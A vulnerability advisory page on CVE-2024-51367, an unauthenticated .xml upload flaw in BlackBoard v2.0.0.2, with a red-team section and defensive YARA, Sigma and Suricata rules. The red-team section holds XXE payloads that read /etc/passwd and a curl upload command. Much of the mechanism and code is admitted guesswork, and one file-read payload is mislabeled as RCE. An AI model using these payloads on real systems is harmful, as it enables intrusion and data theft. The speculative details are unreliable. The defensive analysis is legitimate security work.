CVE-2024-51367
Executive Summary
CVE-2024-51367 is an arbitrary file upload vulnerability in BlackBoard v2.0.0.2, specifically in the /Users/username.BlackBoard component. This vulnerability allows an unauthenticated attacker to upload a crafted .xml file, which can lead to remote code execution (RCE) on the server. The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type) and is associated with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No official patch or advisory has been released by the vendor, and no EPSS or OSV data is available. The exploit is publicly known, and a proof-of-concept (PoC) exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in BlackBoard v2.0.0.2.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely due to incomplete data. Based on the nature of the vulnerability (arbitrary file upload leading to RCE), the estimated CVSS vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution, which can lead to full server compromise.
Deep Dive & Mechanics
The vulnerability exists in the /Users/username.BlackBoard component of BlackBoard v2.0.0.2. The application fails to properly validate the file type during upload, allowing an attacker to upload a malicious .xml file. The .xml file can contain embedded scripts or be processed by the server in a way that leads to code execution. The exact mechanism depends on how the server processes the uploaded file, but common scenarios include:
- XML External Entity (XXE) Injection: The
.xmlfile can include external entities that read sensitive files or execute commands. - Server-Side Script Execution: If the server interprets
.xmlfiles as executable (e.g., via a misconfigured handler), the attacker can upload a file with embedded PHP, ASP, or other server-side code. - File Overwrite: The upload may allow overwriting critical system files, leading to code execution.
The vulnerability is triggered by sending a POST request to the vulnerable endpoint with a malicious .xml file in the request body.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the entire BlackBoard v2.0.0.2 application. The patched code would require:
- Implementing file type validation (whitelist of allowed extensions).
- Restricting upload directory permissions.
- Disabling execution of uploaded files.
- Sanitizing XML input to prevent XXE attacks.
Vulnerable Code (Conceptual):
# Example vulnerable upload handler
@app.route('/Users/username.BlackBoard', methods=['POST'])
def upload_file():
file = request.files['file']
filename = secure_filename(file.filename)
file.save(os.path.join('uploads', filename))
return 'File uploaded successfully'
Patched Code (Conceptual):
# Example patched upload handler
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/Users/username.BlackBoard', methods=['POST'])
def upload_file():
file = request.files['file']
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join('uploads', filename))
return 'File uploaded successfully'
else:
return 'Invalid file type', 400
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- BlackBoard v2.0.0.2 running on a target server.
- Network access to the vulnerable endpoint.
Exploit Steps:
- Create a malicious
.xmlfile. For example, an XXE payload to read/etc/passwd:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> - Upload the file using a tool like
curl:curl -X POST -F "file=@malicious.xml" http://target.com/Users/username.BlackBoard - Access the uploaded file to trigger the XXE or execute code.
Alternative Payload (RCE via PHP):
If the server executes .xml as PHP, use:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>
Blue Team (Defender)
Detection:
- Monitor for POST requests to
/Users/username.BlackBoardwith.xmlfile uploads. - Look for anomalous file types in upload directories.
- Use the YARA and Sigma rules provided below.
Mitigation:
- Block
.xmlfile uploads at the web application firewall (WAF). - Restrict upload directory permissions (no execute).
- Apply input validation and sanitization.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
malicious.xml:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- Network Indicators:
- POST requests to
/Users/username.BlackBoardwithContent-Type: multipart/form-dataand file extension.xml.
- POST requests to
- File System Indicators:
- Unexpected
.xmlfiles in the upload directory. - Files with embedded XXE or PHP code.
- Unexpected
Detection Engineering
YARA Rule
rule CVE_2024_51367_BlackBoard_XML_Upload {
meta:
description = "Detects malicious XML files targeting CVE-2024-51367"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-51367"
strings:
$xxe1 = "<!ENTITY" nocase
$xxe2 = "SYSTEM" nocase
$php = "<?php" nocase
$xml_header = "<?xml" nocase
condition:
$xml_header and ($xxe1 or $php) and filesize < 10KB
}
Sigma Rule
title: BlackBoard Arbitrary XML File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /Users/username.BlackBoard with XML file uploads
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/Users/username.BlackBoard'
cs-content-type: 'multipart/form-data'
cs-extension: '.xml'
condition: selection
falsepositives:
- Legitimate XML uploads (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-51367 BlackBoard XML Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/Users/username.BlackBoard"; http_uri; content:"multipart/form-data"; http_header; content:".xml"; file_ext; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if possible, or restrict access via firewall rules.
- Implement a WAF rule to block
.xmlfile uploads to the vulnerable path. - Apply input validation to reject any file uploads that are not explicitly allowed.
Long-Term Fixes:
- Patch the application once an official update is released.
- Upgrade to a newer version of BlackBoard if available.
- Conduct a security audit of the application to identify similar vulnerabilities.
Workarounds:
- Change file permissions on the upload directory to prevent execution.
- Use a reverse proxy to filter malicious requests.
Valters IT